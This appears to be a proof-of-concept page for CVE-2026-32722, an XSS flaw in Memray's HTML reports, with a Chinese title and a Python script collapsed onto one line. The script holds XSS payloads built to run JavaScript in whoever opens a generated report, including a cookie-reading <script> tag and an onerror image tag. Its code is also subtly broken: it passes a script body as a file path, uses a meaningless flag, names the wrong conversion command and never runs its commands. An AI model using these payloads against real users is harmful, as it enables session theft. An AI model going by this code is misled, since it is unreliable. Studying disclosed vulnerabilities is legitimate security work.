CVE-2026-32722: Memray HTML报告跨站脚本(XSS)漏洞

# CVE-2026-32722 PoC - Memray HTML Injection leading to XSS # This PoC demonstrates how attacker-controlled command line arguments # can inject malicious JavaScript into Memray-generated HTML reports import subprocess import os import time # Step 1: Create a target Python script target_script = ''' import sys import time # Simulate processing command line arguments # In real attack, these would contain XSS payloads for i in range(100): time.sleep(0.01) if __name__ == "__main__": print("Processing with args:", sys.argv) ''' # Step 2: Create the XSS payload # The payload will be passed as command line argument xss_payload = "--test=<script>alert(document.cookie)</script>" # Step 3: Run Memray with the malicious command line argument # This will generate an HTML report containing the unescaped payload cmd = [ "memray", "run", "-o", "memray_report.bin", "--分析方法", target_script, xss_payload ] # Alternative: Direct command with XSS in arguments malicious_cmd = [ "memray", "run", "-o", "memray_output.bin", "python", "-c", "import time; [time.sleep(0.01) for _ in range(100)]", "--param=<img src=x onerror=alert(document.domain) />" ] # Step 4: Convert the binary report to HTML # The resulting HTML will contain the XSS payload unescaped convert_cmd = ["memray", "tree", "memray_report.bin"] print("[*] CVE-2026-32722 - Memray XSS via HTML Injection") print("[*] Payload:", xss_payload) print("[*] When victim opens the generated HTML report in browser,") print("[*] the JavaScript will execute automatically.")